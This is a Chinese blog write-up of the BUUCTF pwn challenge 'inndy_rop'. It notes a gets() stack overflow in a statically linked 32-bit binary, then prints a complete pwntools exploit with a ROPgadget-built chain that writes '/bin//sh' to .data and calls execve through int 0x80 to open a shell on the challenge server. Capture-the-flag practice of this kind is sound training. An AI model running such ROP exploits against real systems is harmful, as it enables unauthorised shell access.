BUUCTF Pwn inndy_rop WP

最新推荐文章于 2025-05-16 11:14:39 发布

艾莉莉阿文

最新推荐文章于 2025-05-16 11:14:39 发布

阅读量190

点赞数 1

分类专栏： BUUCTF Pwn 文章标签：安全网络安全

本文链接：https://blog.youkuaiyun.com/qq_33348179/article/details/146176635

版权

BUUCTF 同时被 2 个专栏收录

71 篇文章

订阅专栏

Pwn

57 篇文章

订阅专栏

checksec exeinfo

IDA32 查看函数

左边一堆函数似乎是静态链接右边有个gets的栈溢出漏洞

因为是静态链接用不了ret2libc 溢出长度也很长试试ROPgadget构造的ropchain：

成功拿到

exp：

from pwn import *
from struct import pack

#io = process('./rop')
io = remote("node5.buuoj.cn", 27921)
p = b''

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io.sendline(b'a' * (0xC + 4) + p)
io.interactive()

flag: